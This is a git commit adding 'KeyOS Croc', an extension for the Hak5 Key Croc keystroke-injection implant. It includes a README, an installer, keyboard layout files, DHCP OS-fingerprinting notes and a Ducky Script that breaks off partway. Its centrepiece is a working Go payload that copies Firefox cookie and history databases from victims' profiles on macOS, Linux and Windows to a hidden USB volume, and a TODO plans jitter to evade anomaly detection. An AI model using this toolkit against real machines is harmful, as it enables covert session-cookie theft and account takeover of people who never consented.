Add keyos-croc

pull/39/head
Konstantin Goretzki 2022-04-08 21:26:30 +02:00
parent 4988890e06
commit 3ccd28b011
23 changed files with 4664 additions and 0 deletions

View File

@ -0,0 +1,21 @@
MIT License
Copyright (c) 2021 Konstantin Goretzki
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@ -0,0 +1,224 @@
# KeyOS Croc
KeyOS Croc is an extension for the [Key Croc](https://hak5.org/products/key-croc) tool by Hak5. The main functionality of this extension is a basic operating system and keyboard layout detection by analyzing DHCP packets and "brute-forcing" (power)shell commands. Besides helper scripts are provided that allow root / admin right detection, easy binary execution (incl. command line arguments) and file extraction. An example for stealing the Firefox cookies.db using a golang executable and a Ducky Script is given.
## Installation
1. Connect Key Croc to Internet, connect via SSH
- [Configure](https://docs.hak5.org/hc/en-us/articles/360048015093-Getting-the-Key-Croc-Online) the Key Croc to use your WLAN AP
```
# /root/udisk/config.txt
...
SSH ENABLE
WIFI_SSID <ssid>
WIFI_PASS <psk>
DNS 1.1.1.1 8.8.8.8
...
```
- Get the IP addr of your Key Croc, e.g. scan your network with `nmap` or use the router's list of conneced hosts
- Connect to the Key Croc via SSH: `ssh root@X.X.X.X` (PW: `hak5croc`)
2. Clone the repo (`git clone https://github.com/konstantingoretzki/keyos-croc`) and execute `install-keyos.sh` (`cd keyos-croc && chmod +x install-keyos.sh && ./install-keyos.sh`)
3. Customize `/root/udisk/payloads/payload.sh` according to your wishes (see [settings](#settings))
4. Reboot the device (`reboot`)
**Note:** Unfortunately, updating is not currently supported. In order to get the newest KeyOS Croc features you have to either make the changes by hand or reflash to the latest supported Hak5 version (`1.3_510`) and then run the the KeyOS Croc installation process.
## Usage
Depending on your configuration (see [settings](#settings)) the framework can do the following things:
1. WLAN geofencing: wait for WLAN APs to be present or absent
2. Detect the OS
3. Detect the used keyboard layout
- A) Try to write a file to the mass storage using different keyboard layouts
- B) Windows only: force to use the 'us' layout using alt codes
4. Check if higher execution rights are available
5. Execute any payload (cross-platform):
- A) Ducky Script snippets depending of the OS type, for your own take a look at `scripts/template.sh`
- B) Binaries (using a wrapper that can work with cmdArgs, use optional higher rights and chooses the correct file depending on the OS type)
6. Save extracted files from the mass drive to the `/root/udisk/loot`-location
The LED will blink yellow if the framework is working. The LED will turn red if there has been an error (take a look into the `/root/udisk/keyos-log.txt`-file for debug information). If the set detections (optional) and the payload execution was successful the LED will turn green.
## How it works
### WLAN geofencing
The WLAN geofencing mode allows to only start with the execution of the detections and the payload if certain WLAN access points (2.4 GHz) are / aren't in range. This is done by scanning for access points in the range and parsing their SSIDs. The syntax is a bit complicated but very flexible and allows multiple devices sets that have to be present / absent.
```
## syntax examples for -a / -d
# ./wlanFencing.py -a "AP1" -a "AP2"
# --> AP1 or AP2
# ./wlanFencing.py -a "AP1" "AP2"
# --> AP1 and AP2
# ./wlanFencing.py -a "AP1" "AP2" -a "AP3"
# --> (AP1 and AP2) or AP3
# ----------------------------------------------
## real world examples
# continue if AP1 is present
# ./wlanFencing.py -a "AP1"
# continue if AP1 and AP2 are present
# ./wlanFencing.py -a "AP1" "AP2"
# continue if AP1 is absent
# ./wlanFencing.py -a "*" -d "AP1"
# continue if AP1 and AP2 are absent
# ./wlanFencing.py -a "*" -d "AP1" "AP2"
```
It is recommended to not use this feature if at the same time the Key Croc is connected to a WLAN access point and is accessed via SSH. Also keep in mind that scanned APs are heavily cached so it can take up to 30 seconds to detect their absence.
### OS detection
The OS detection works by analyzing sniffed DHCP packets (DHCPREQUEST and DHCPDISCOVER) via Python and `scapy`. This method allows a passive OS fingerprint. Compared to scanning the host with a tool like `nmap` this approach is also much faster and more reliable. Due to the usage of DHCP packets new OS types / versions can be easily add simply by tuning the used DHCP options. For more information take a look at [os-fingerprinting.md](./os-fingerprinting.md)
The following OS have been tested and can be recognized:
- Microsoft Windows
- Windows 10 Pro Build 2004
- Windows 10 Pro Build 21H1
- Linux
- Ubuntu 20.04.1 LTS
- Ubuntu 21.04 (OS detection works but HID e.g. for the layout detection only works with Xorg and **not** Wayland)
- (macOS Catalina 10.15.6 - see [TODO](#todo))
Other OS versions might work aswell. However testing for them is necessary as DHCP options can change from version to version.
### Keyboard layout detection
To determine the keyboard layout a test file is written to a created USB storage device (not the default drive from the Key Croc). The main script (`payload.sh`) runs and checks if a file could be found. If not the write failed and the wrong keyboard layout was selected. Another try will be made.
While this approach isn't that fast, especially if you have a huge subset of possible layouts, it is the only way that can be used cross-platform. Keyboards send the currently pressed keys (by using keycodes) if they get asked by an USB host. However only the OS of the USB host knows how to interpret the returned keycodes and decides wether an keycode will be mapped to e.g. `z` or `y`.
The keyboard layouts for German, English and French are tested and work one after the other without any problems. Other subsets of layouts can be set but the layouts should be supported by the Key Croc framework (language files exist, needed keys are set and work). In addition the layouts of the subset should be tested to work even one after the other, especially if the prior try failed and could therefore leave an unclean state (e.g. the terminal window is still open and all subsequent commands fail).
#### Alt codes
On Windows alt codes can be used to write chars independent of the set keyboard layout. A [helper script](scripts/altcon.py) to convert a string to a sequence of Ducky Script alt codes can be used. However typing alt codes can be quite slow. A proposed and implemented solution is to force the Windows USB host to use the 'us' keyboard layout. To use this method set the `winForceUS` variable to 1. This only works if the OS is Windows (detected or `os` variable set). Keep in mind that the set layouts of the Windows host before will be overwritten!
While there is an alternative ([Unicode codes](https://help.ubuntu.com/stable/ubuntu-help/tips-specialchars.html.en)) on Ubuntu, this can not be used as also hex chars are needed.
## Settings
You can set the features to use by adjusting the `/root/udisk/payloads/payload.sh`-file. You can do this either by editing the file with an editor over SSH or by using the Key Croc's [arming mode](https://docs.hak5.org/hc/en-us/articles/360047380574-Key-Croc-Basics) and editing the file directly from the mounted mass storage (do not forget to safely unplug!).
```
################################################################################
# configure detection (OS, layout and root) and payload
################################################################################
# WLAN AP geofencing
# set to 1 is active, 0 is deactivated
# set the allowed / denied devices in the wlanFencing function
doWlanFencing=0
# OS detection
# if the string is empty then script will try to determine the OS
# if an OS ("Windows", "Linux" or "Mac") is set the detection will be skipped
# and the set element value will be used
os=""
# Layout detection
# keyboard layouts that should be tried
# testing order is from left to right
# if the array only contains one element the detection will be skipped
# and the set element value will be used
# if no value is set the default value ("us") will be used
langs=( de us fr )
# if the OS is Window (detected or the variable is set by the user)
# the framework can use alt codes to force the host the use the 'us' layout
# instead of trying to detect the used keyboard layout
# set to 1 is active, 0 is deactivated
# layouts in the langs array will be ignored in this case
winForceUS=0
# Root / admin detection
# check if higher rights can be get
# set to 1 is active, 0 is deactivated
rootCheck=1
# Payload
# if a custom DUCKY SCRIPT file should be used then set the variable
# to the path of the file, e.g. "/root/udisk/library/stealCookies.sh"
# compatible DUCKY SCRIPT files should be placed in "/root/udisk/library/"
# "/root/udisk/library/template.sh" can be used as a template
# just adjust the QUACK calls in the OS functions
# if a binary should be executed then set the variable to "/root/udisk/library/payload-execute.sh"
# binaries named "win.exe", "lin" and "mac" should be placed in "/root/binaries/"
payload="/root/udisk/library/payload-execute.sh"
#payload="/root/udisk/library/stealFirefoxCookies.sh"
# for binaries optional command line arguments can be passed by setting cmdArgs
# if not needed, set it to an empty string
cmdArgs="cookies"
# file that is created by the DUCKY SCRIPT or binary to detect if the execution is finished
# needed if the type time != execution time
# e.g. when copying large files
# if not needed then set it to an empty string
# the framework will go on will not wait for any created files
doneFile="done.txt"
# maxTries = max seconds to wait for completion of a given payload
# if a payload takes longer than the specified seconds then the execution will be stopped
maxTries=15
# is root/ admin needed for the payload execution?
# if set to 1 the script uses "sudo" as prefix or a "run as admin"-started terminal
# if a root check has been done before, root is not available but needed the execution will be stopped
needRoot=0
# cp wildcard to extract files from the mass storage, comment out or set to empty string if not used
# files will be copied to the "loot" location ("/root/udisk/loot")
extractFiles="cookies[0-9]*.sqlite"
################################################################################
```
Here are some examples for certain workflows:
- OS is Windows, layout is either us or de, execute Ducky Script
```
os="Windows"
langs=( us de )
payload="/root/udisk/library/<my-script>.sh"
```
- OS should be detected, layout is us, execute binary payload with cmdArgs, extract files
```
os=""
langs=( us )
payload="/root/udisk/library/payload-execute.sh"
cmdArgs="places"
extractFiles="places[0-9]*.sqlite"
```
- OS and layout are known, check for root, execute binary payload only if root available
```
os="Linux"
langs=( us )
rootCheck=1
payload="/root/udisk/library/payload-execute.sh"
needRoot=1
```
- OS is Windows, use altcodes to force 'us' layout, execute Ducky Script
```
os="Windows"
winForceUS=1
payload="/root/udisk/library/<my-script>.sh"
```
## TODO
### Project specific
- [ ] **Testing**: a project like this depends heavily on testing. Every system is different and even the slightest difference can determine if the executions fails or works.
- [ ] **Test on macOS**: this project is a port of the [aloa-extensions](https://github.com/konstantingoretzki/aloa-extensions) that I've created for the [P4wnP1 A.L.O.A.](https://github.com/RoganDawes/P4wnP1_aloa). While I've tested the original code on macOS, this is currently not the case for this port. It will be a while before I can get my hands on macOS hardware for testing again, so testers are (even on other platforms) welcome ;)
- [x] **US layout**: num lock had to be enabled to be able to type numbers on the us layout. Adjusting the order of the keycodes (prefer numbers over numpad numbers) fixes this.
### Key Croc
- [ ] **Lock state**: add a dedicated script to get the lock states (e.g. num lock or caps lock), LED states should be readable on Windows and Linux.
- [ ] **Jitter**: make it possible to add random delays to prevent triggering anomaly detection systems
- [x] **Altcodes**: fix `write_altcode`-function in order to work independent from the numlock state
### General
- [ ] **HID on Wayland**: on Wayland keystroke injections (even with other frameworks like the [P4wnP1 A.L.O.A.](https://github.com/RoganDawes/P4wnP1_aloa) aren't possible, maybe Wayland is using other keycodes or handling input differently? research is needed
## Troubleshooting
The main steps are logged inside `/root/udisk/keyos-log.txt`. If you experience any issues please take a look into this file. It can also help to run the main `/root/udisk/payloads/payload.sh` interactively to see what happens and which steps might fail. Adjusting the `payload.sh`-file to skip certain checks or stop after a specific detection can reduce the waiting time drastically.
## Credits to
- [lartsch](https://forums.hak5.org/profile/84374-lartsch/): fix [matchless payloads](https://forums.hak5.org/topic/55695-fix-for-matchless-payloads-not-running/) detection, temp. fix for the broken alt codes support
- [emptyhen](https://github.com/emptyhen): fix [broken numbers](https://github.com/hak5/keycroc-payloads/pull/6) on 'us' layout if numlock is off
- [marius56](https://github.com/marius56): idea to use nested lists for the wlanFencing-script

View File

@ -0,0 +1,70 @@
#!/bin/bash
echo -e "\nPlease make sure that the Key Croc has internet connection! \n"
# version check
# especially needed because some croc files are changed
version=`cat /root/version.txt`
if [ "$version" != "1.3_510" ]
then
echo -e "\nKey Croc is not on version 1.3_510 - things can break with newer / older version."
echo -e "Script will stop.\n"
exit 1
fi
# dependencies
echo "Installing dependencies ..."
apt update
apt install -y sqlite3 python3 python3-pip ntfs-3g
pip3 install scapy
# scripts
echo -e "\nInstalling scripts ..."
mkdir /root/scripts
cp scripts/analyze-pcap.py scripts/image-helper.sh scripts/altcon.py scripts/wlanFencing.py /root/scripts/
cp scripts/payload.sh /root/udisk/payloads/
chmod 751 /root/scripts/*
chmod 751 /root/udisk/payloads/payload.sh
echo -e "\nAdjusting framework files ..."
# fix match-less payloads detection
# thanks to lartsch (https://forums.hak5.org/profile/84374-lartsch/) for this fix
sed -i 's%for p in $(find /root/udisk/payloads -type f.*%for p in \$(find \/root\/udisk\/payloads -type f | xargs grep -cHP \x27\^(?=\[\\s\]\*+\[\^#\])\[\^#\]\*(MATCH)\x27 | grep 0\$ | cut -d\x27:\x27 -f1)%' /usr/local/croc/bin/croc_framework
# add line to ATTACKMODE
sed -i '/# start dhcp server/i \\n\t\t# Added by KeyOS Croc\n\t\techo -n "sniff" > /root/pyrecv\n' /usr/local/croc/bin/ATTACKMODE
# set default DHCP timeout to sniff timeout
sed -i -r 's/timeout=[0-9]+/timeout=5/g' /usr/local/croc/bin/ATTACKMODE
# fix broken alt codes
sed -i '74,84d' /usr/local/croc/bin/QUACK
sed -i '/numlock = False/a\ \ \ \ hidg_write(\[0, 0, 83, 0, 0, 0, 0, 0\])\n\ \ \ \ time\.sleep(0\.01)\n\ \ \ \ hidg_write(\[0, 0, 83, 0, 0, 0, 0, 0\])\n\n\ \ \ \ with open("\/dev\/hidg0", mode=\x27r\x27) as f:\n\ \ \ \ \ \ \ \ out = f\.read(2)\n\ \ \ \ \ \ \ \ while not out:\n\ \ \ \ \ \ \ \ \ \ \ \ out = f\.read(2)\n\n\ \ \ \ \ \ \ \ numlock = (int(out\.encode(\x27hex\x27), 16) \& 0b00001) == 0b00001\n' /usr/local/croc/bin/QUACK
# payloads - binary
echo -e "\nCopy binary payloads ..."
mkdir /root/binaries
cp payloads/binary/executables/* /root/binaries/
chmod 751 /root/binaries/*
# payloads - Ducky Script
echo -e "Copy Ducky Script payloads ..."
cp payloads/ducky/* /root/udisk/library/
chmod 751 /root/udisk/library/*
# language files
echo -e "Copy adjusted language files ..."
mv /root/udisk/languages/de.json /root/udisk/languages/de.json.bak
mv /root/udisk/languages/us.json /root/udisk/languages/us.json.bak
mv /root/udisk/languages/fr.json /root/udisk/languages/fr.json.bak
cp languages/* /root/udisk/languages/
chmod 751 /root/udisk/languages/de.json /root/udisk/languages/us.json /root/udisk/languages/fr.json
# drive images
echo -e "\nSetup drive images ..."
mkdir /root/ums
/root/scripts/image-helper.sh create
/root/scripts/image-helper.sh prepareAll
echo -e "\nInstalling done."
echo -e "Please reboot now to be able to use the KeyOS Croc.\n"

View File

@ -0,0 +1,181 @@
{
"__comment":"All numbers here are in hex format and 0x is ignored.",
"__comment":" ",
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
"__comment":" of document USB HID Usage Tables Version 1.12.",
"__comment":" ",
"__comment":"Definition of these 3 bytes can be found",
"__comment":" in section B.1 Protocol 1 (Keyboard)",
"__comment":" of document Device Class Definition for HID Version 1.11",
"__comment":" - byte 1: Modifier keys",
"__comment":" - byte 2: Reserved",
"__comment":" - byte 3: Keycode 1",
"__comment":" ",
"__comment":"Both documents can be obtained from link here",
"__comment":" http://www.usb.org/developers/hidpage/",
"__comment":" ",
"__comment":"A = LeftShift + a, { = LeftShift + [",
"__comment":" ",
"__comment":"German umlauts added by Simon Dankelmann",
"a":"00,00,04",
"b":"00,00,05",
"c":"00,00,06",
"d":"00,00,07",
"e":"00,00,08",
"f":"00,00,09",
"g":"00,00,0a",
"h":"00,00,0b",
"i":"00,00,0c",
"j":"00,00,0d",
"k":"00,00,0e",
"l":"00,00,0f",
"m":"00,00,10",
"n":"00,00,11",
"o":"00,00,12",
"p":"00,00,13",
"q":"00,00,14",
"r":"00,00,15",
"s":"00,00,16",
"t":"00,00,17",
"u":"00,00,18",
"v":"00,00,19",
"w":"00,00,1a",
"x":"00,00,1b",
"z":"00,00,1c",
"y":"00,00,1d",
"1":"00,00,1e",
"2":"00,00,1f",
"3":"00,00,20",
"4":"00,00,21",
"5":"00,00,22",
"6":"00,00,23",
"7":"00,00,24",
"8":"00,00,25",
"9":"00,00,26",
"0":"00,00,27",
"ENTER":"00,00,28",
"ESC":"00,00,29",
"ESCAPE":"00,00,29",
"TAB":"00,00,2b",
" ":"00,00,2c",
"SPACE":"00,00,2c",
"+":"00,00,30",
"#":"00,00,31",
"^":"00,00,35",
",":"00,00,36",
".":"00,00,37",
"-":"00,00,38",
"CAPSLOCK":"00,00,39",
"F1":"00,00,3a",
"F2":"00,00,3b",
"F3":"00,00,3c",
"F4":"00,00,3d",
"F5":"00,00,3e",
"F6":"00,00,3f",
"F7":"00,00,40",
"F8":"00,00,41",
"F9":"00,00,42",
"F10":"00,00,43",
"F11":"00,00,44",
"F12":"00,00,45",
"PRINTSCREEN":"00,00,46",
"SCROLLLOCK":"00,00,47",
"BREAK":"00,00,48",
"PAUSE":"00,00,48",
"INSERT":"00,00,49",
"HOME":"00,00,4a",
"PAGEUP":"00,00,4b",
"DEL":"00,00,4c",
"DELETE":"00,00,4c",
"END":"00,00,4d",
"PAGEDOWN":"00,00,4e",
"RIGHT":"00,00,4f",
"RIGHTARROW":"00,00,4f",
"LEFT":"00,00,50",
"LEFTARROW":"00,00,50",
"DOWN":"00,00,51",
"DOWNARROW":"00,00,51",
"UP":"00,00,52",
"UPARROW":"00,00,52",
"<":"00,00,64",
"APP":"00,00,65",
"MENU":"00,00,65",
"ALT-TAB":"00,00,71",
"CONTROL":"01,00,00",
"CTRL":"01,00,00",
"SHIFT":"02,00,00",
"A":"02,00,04",
"B":"02,00,05",
"C":"02,00,06",
"D":"02,00,07",
"E":"02,00,08",
"F":"02,00,09",
"G":"02,00,0a",
"H":"02,00,0b",
"I":"02,00,0c",
"J":"02,00,0d",
"K":"02,00,0e",
"L":"02,00,0f",
"M":"02,00,10",
"N":"02,00,11",
"O":"02,00,12",
"P":"02,00,13",
"Q":"02,00,14",
"R":"02,00,15",
"S":"02,00,16",
"T":"02,00,17",
"U":"02,00,18",
"V":"02,00,19",
"W":"02,00,1a",
"X":"02,00,1b",
"Z":"02,00,1c",
"Y":"02,00,1d",
"!":"02,00,1e",
"\"":"02,00,1f",
"$":"02,00,21",
"%":"02,00,22",
"&":"02,00,23",
"/":"02,00,24",
"(":"02,00,25",
")":"02,00,26",
"=":"02,00,27",
"?":"02,00,2d",
"`":"02,00,2e",
"*":"02,00,30",
"'":"02,00,31",
";":"02,00,36",
":":"02,00,37",
"_":"02,00,38",
">":"02,00,64",
"CTRL-SHIFT":"03,00,00",
"ALT":"04,00,00",
"ALT-j":"04,00,0d",
"CTRL-ALT":"05,00,00",
"ALT-SHIFT":"06,00,00",
"COMMAND":"08,00,00",
"GUI":"08,00,00",
"WINDOWS":"08,00,00",
"COMMAND-OPTION":"12,00,00",
"@":"40,00,14",
"{":"40,00,24",
"[":"40,00,25",
"]":"40,00,26",
"}":"40,00,27",
"\\":"40,00,2d",
"~":"40,00,30",
"|":"40,00,64",
"COMMAND-CTRL-SHIFT":"40,00,64",
"COMMAND-CTRL":"40,00,64",
"COMMAND-OPTION-SHIFT'":"40,00,64",
"ß":"00,00,2d",
"€":"40,00,08",
"§":"02,00,20",
"ä":"00,00,34",
"ö":"00,00,33",
"ü":"00,00,2f",
"Ä":"02,00,34",
"Ö":"02,00,33",
"Ü":"02,00,2f",
"CONTROL-SHIFT-ENTER":"03,00,28"
}

View File

@ -0,0 +1,170 @@
{
"__comment":"All numbers here are in hex format and 0x is ignored.",
"__comment":" ",
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
"__comment":" of document USB HID Usage Tables Version 1.12.",
"__comment":" ",
"__comment":"Definition of these 3 bytes can be found",
"__comment":" in section B.1 Protocol 1 (Keyboard)",
"__comment":" of document Device Class Definition for HID Version 1.11",
"__comment":" - byte 1: Modifier keys",
"__comment":" - byte 2: Reserved",
"__comment":" - byte 3: Keycode 1",
"__comment":" ",
"__comment":"Both documents can be obtained from link here",
"__comment":" http://www.usb.org/developers/hidpage/",
"__comment":" ",
"__comment":"A = LeftShift + a, { = LeftShift + [",
"__comment":" ",
"q":"00,00,04",
"b":"00,00,05",
"c":"00,00,06",
"d":"00,00,07",
"e":"00,00,08",
"f":"00,00,09",
"g":"00,00,0a",
"h":"00,00,0b",
"i":"00,00,0c",
"j":"00,00,0d",
"k":"00,00,0e",
"l":"00,00,0f",
",":"00,00,10",
"n":"00,00,11",
"o":"00,00,12",
"p":"00,00,13",
"a":"00,00,14",
"r":"00,00,15",
"s":"00,00,16",
"t":"00,00,17",
"u":"00,00,18",
"v":"00,00,19",
"z":"00,00,1a",
"x":"00,00,1b",
"y":"00,00,1c",
"w":"00,00,1d",
"&":"00,00,1e",
"\"":"00,00,20",
"'":"00,00,21",
"(":"00,00,22",
"-":"00,00,23",
"_":"00,00,25",
"ENTER":"00,00,28",
"ESC":"00,00,29",
"ESCAPE":"00,00,29",
"TAB":"00,00,2b",
" ":"00,00,2c",
"SPACE":"00,00,2c",
")":"00,00,2d",
"=":"00,00,2e",
"$":"00,00,30",
"*":"00,00,31",
"m":"00,00,33",
";":"00,00,36",
":":"00,00,37",
"!":"00,00,38",
"CAPSLOCK":"00,00,39",
"F1":"00,00,3a",
"F2":"00,00,3b",
"F3":"00,00,3c",
"F4":"00,00,3d",
"F5":"00,00,3e",
"F6":"00,00,3f",
"F7":"00,00,40",
"F8":"00,00,41",
"F9":"00,00,42",
"F10":"00,00,43",
"F11":"00,00,44",
"F12":"00,00,45",
"PRINTSCREEN":"00,00,46",
"SCROLLLOCK":"00,00,47",
"BREAK":"00,00,48",
"PAUSE":"00,00,48",
"INSERT":"00,00,49",
"HOME":"00,00,4a",
"PAGEUP":"00,00,4b",
"DEL":"00,00,4c",
"DELETE":"00,00,4c",
"END":"00,00,4d",
"PAGEDOWN":"00,00,4e",
"RIGHT":"00,00,4f",
"RIGHTARROW":"00,00,4f",
"LEFT":"00,00,50",
"LEFTARROW":"00,00,50",
"DOWN":"00,00,51",
"DOWNARROW":"00,00,51",
"UP":"00,00,52",
"UPARROW":"00,00,52",
"<":"00,00,64",
"APP":"00,00,65",
"MENU":"00,00,65",
"ALT-TAB":"00,00,71",
"CONTROL":"01,00,00",
"CTRL":"01,00,00",
"SHIFT":"02,00,00",
"Q":"02,00,04",
"B":"02,00,05",
"C":"02,00,06",
"D":"02,00,07",
"E":"02,00,08",
"F":"02,00,09",
"G":"02,00,0a",
"H":"02,00,0b",
"I":"02,00,0c",
"J":"02,00,0d",
"K":"02,00,0e",
"L":"02,00,0f",
"?":"02,00,10",
"N":"02,00,11",
"O":"02,00,12",
"P":"02,00,13",
"A":"02,00,14",
"R":"02,00,15",
"S":"02,00,16",
"T":"02,00,17",
"U":"02,00,18",
"V":"02,00,19",
"Z":"02,00,1a",
"X":"02,00,1b",
"Y":"02,00,1c",
"W":"02,00,1d",
"1":"02,00,1e",
"2":"02,00,1f",
"3":"02,00,20",
"4":"02,00,21",
"5":"02,00,22",
"6":"02,00,23",
"7":"02,00,24",
"8":"02,00,25",
"9":"02,00,26",
"0":"02,00,27",
"+":"02,00,2e",
"M":"02,00,33",
"%":"02,00,34",
".":"02,00,36",
"/":"02,00,37",
">":"02,00,64",
"CTRL-SHIFT":"03,00,00",
"ALT":"04,00,00",
"CTRL-ALT":"05,00,00",
"ALT-SHIFT":"06,00,00",
"COMMAND":"08,00,00",
"GUI":"08,00,00",
"WINDOWS":"08,00,00",
"COMMAND-OPTION":"12,00,00",
"~":"40,00,1f",
"#":"40,00,20",
"{":"40,00,21",
"[":"40,00,22",
"|":"40,00,23",
"`":"40,00,24",
"\\":"40,00,25",
"^":"40,00,26",
"@":"40,00,27",
"]":"40,00,2d",
"}":"40,00,2e",
"COMMAND-CTRL-SHIFT":"40,00,2e",
"COMMAND-CTRL":"40,00,2e",
"COMMAND-OPTION-SHIFT'":"40,00,2e",
"CONTROL-SHIFT-ENTER":"03,00,28"
}

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,48 @@
# OS fingerprinting
OS detection works by analyzing DHCP discover and request packets via [scapy](https://scapy.net/) in Python. This can be done by looking for characteristic options that are set / requested by the DHCP client (the device where the Key Croc is plugged in). The order of the options matters.
The provided Python script currently only looks for DHCP Discover and DHCP Request packets. Besides the Vendor ID Class (Option 60) only the existence of specific subsets of options (not their order) of the Parameter Request List (Option 55) can be checked. For support of more options manual decoding and parsing is required.
For debugging `tcpdump` can be used (`tcpdump -i usb0 port 67 or port 68 -w sniff.pcap`) to sniff and a tool like Wireshark can be used to get a closer look of the packet structure and its available options.
## Extracted DHCP options
Some options depend on DHCP packet type (Discover != Request). The Parameter Request List should be the same for all DHCP Discover and DHCP Request packets.
### Windows 10 (Pro, Build 2004):
- Options: 53,61,12,81,60,55,255 (type ?)
- 60: MSFT 5.0 (Vendor ID Class, set on DHCP Discover and DHCP Request packets)
- 55: 1,3,6,15,31,33,43,44,46,47,119,121,249,252 (Parameter Request List)
- Fingerprint: Vendor ID Class
### Windows 10 (Pro, Build 21H1):
- Options: 53,61,50,12,60,55,255 (Discover) / 53,61,50,54,12,81,60,55,255 (Request)
- 60: MSFT 5.0 (Vendor ID Class, set on DHCP Discover and DHCP Request packets)
- 55: 1,3,6,15,31,33,43,44,46,47,119,121,249,252 (Parameter Request List)
- Fingerprint: Vendor ID Class
### Ubuntu (20.04.1 LTS, 5.4.0-42):
- Options: 53,61,55,57,12,255 (type ?)
- 55: 1,2,6,12,15,26,28,121,3,33,40,41,42,119,249,252,17 (Parameter Request List)
- Fingerprint: **PRL 2,12** (use 17 to differ from 20.04 and 21.04)
### Ubuntu (21.04, 5.11.0-31):
- Options: 53,12,55,255 (Discover) / 53,54,50,12,55,255 (Request)
- 55: 1,28,2,3,15,6,119,12,44,47,26,121,42 (Parameter Request List)
- Fingerprint: **PRL 2,12**
### macOS Catalina (10.15.6)
- Options: 53,55,57,61,51,12,255 (type ?)
- 55: 1,121,3,6,15,119,252,95,44,46 (Parameter Request List)
- Fingerprint: **PRL 95** (LDAP, possible that this is only the case on the test system)
Ubuntu 20.04 and 21.04 share these options exclusively: **PRL 2,28,12,26,42**
## Additional information
More information about the technical details of OS fingerprinting via DHCP packets can be found here:
- D. Hull und G. F. Willard III, “Next Generation DHCP Deployments”, 2005. Available: [https://kuscholarworks.ku.edu/bitstream/handle/1808/584/NGDHCP.pdf](https://kuscholarworks.ku.edu/bitstream/handle/1808/584/NGDHCP.pdf).
- R. Droms,RFC 2131: Dynamic Host Configuration Protocol, 1997.
- S. Alexander und R. Droms, RFC 2132: DHCP Options and BOOTP Vendor Extensions, 1997.
- D. LaPorte und E. Kollmann. (). “Using DHCP for Passive OS Identification”, Available: [https://slideplayer.com/slide/2499137/](https://slideplayer.com/slide/2499137/).
- O. Bilodeau. (2011). “FingerBank - open DHCP fingerprints database”, Available: [https://www.defcon.org/images/defcon-19/dc-19-presentations/Bilodeau/DEFCON-19-Bilodeau-FingerBank.pdf](https://www.defcon.org/images/defcon-19/dc-19-presentations/Bilodeau/DEFCON-19-Bilodeau-FingerBank.pdf).

View File

@ -0,0 +1,3 @@
GOOS=linux go build -o lin
GOOS=darwin go build -o mac
GOOS=windows go build -o win.exe

View File

@ -0,0 +1,63 @@
package main
import (
"fmt"
"os"
"os/user"
"os/exec"
"runtime"
)
func main() {
usr, usrErr := user.Current()
if usrErr != nil {
fmt.Println(usrErr)
}
var file, cmdStart, cmdString string
var isUnix bool
if len(os.Args) > 1 {
file = os.Args[1]
} else {
file = "cookies"
}
switch os := runtime.GOOS; os {
case "darwin":
fmt.Println("macOS")
cmdStart = "zsh"
cmdString = "counter=0 && for dir in \"/Users/$(users)/Library/Application Support/Firefox/Profiles/\"* ; do cp -r $dir/" + file + ".sqlite /Volumes/sneaky/" + file + "$counter.sqlite 2>/dev/null ; ((counter=counter+1)) ; done"
isUnix = true
case "linux":
fmt.Println("Linux")
cmdStart = "bash"
path := usr.HomeDir + "/.mozilla/firefox/*/"
cmdString = "counter=0 && for dir in " + path + " ; do if [[ $dir != *'Crash'* && $dir != *'Pending'* ]]; then cp -r $dir/" + file + ".sqlite /media/$(users)/sneaky/" + file + "$counter.sqlite 2>/dev/null ; ((counter=counter+1)); fi ; done"
isUnix = true
case "windows":
fmt.Println("Windows")
cmdStart = "powershell.exe"
path := usr.HomeDir + "/AppData/Roaming/Mozilla/Firefox/Profiles"
cmdString = "$usbPath = Get-WMIObject Win32_Volume | ? { $_.Label -eq 'sneaky' } | select -expand name ; $counter = 0 ; Get-ChildItem -Path " + path + " | Foreach-Object { cp (Join-Path $_.FullName '" + file + ".sqlite') $usbPath'" + file + "'$counter'.sqlite' ; $counter++ }"
default:
return
}
cmd := exec.Command("")
if isUnix {
cmd = exec.Command(cmdStart, "-c", cmdString)
} else {
cmd = exec.Command(cmdStart, cmdString)
}
err := cmd.Run()
if err != nil {
fmt.Printf("cmd.Run() failed with %s\n", err)
}
}

View File

@ -0,0 +1,78 @@
#!/bin/bash
function quackWindows() {
# open PowerShell via run menu
Q GUI r
Q DELAY 1000
# powershell
QUACK ALTCODE 112
QUACK ALTCODE 111
QUACK ALTCODE 119
QUACK ALTCODE 101
QUACK ALTCODE 114
QUACK ALTCODE 115
QUACK ALTCODE 104
QUACK ALTCODE 101
QUACK ALTCODE 108
QUACK ALTCODE 108
Q ENTER
Q DELAY 500
# Set-WinUserLanguageList en-US ; exit
QUACK ALTCODE 83
QUACK ALTCODE 101
QUACK ALTCODE 116
QUACK ALTCODE 45
QUACK ALTCODE 87
QUACK ALTCODE 105
QUACK ALTCODE 110
QUACK ALTCODE 85
QUACK ALTCODE 115
QUACK ALTCODE 101
QUACK ALTCODE 114
QUACK ALTCODE 76
QUACK ALTCODE 97
QUACK ALTCODE 110
QUACK ALTCODE 103
QUACK ALTCODE 117
QUACK ALTCODE 97
QUACK ALTCODE 103
QUACK ALTCODE 101
QUACK ALTCODE 76
QUACK ALTCODE 105
QUACK ALTCODE 115
QUACK ALTCODE 116
QUACK ALTCODE 32
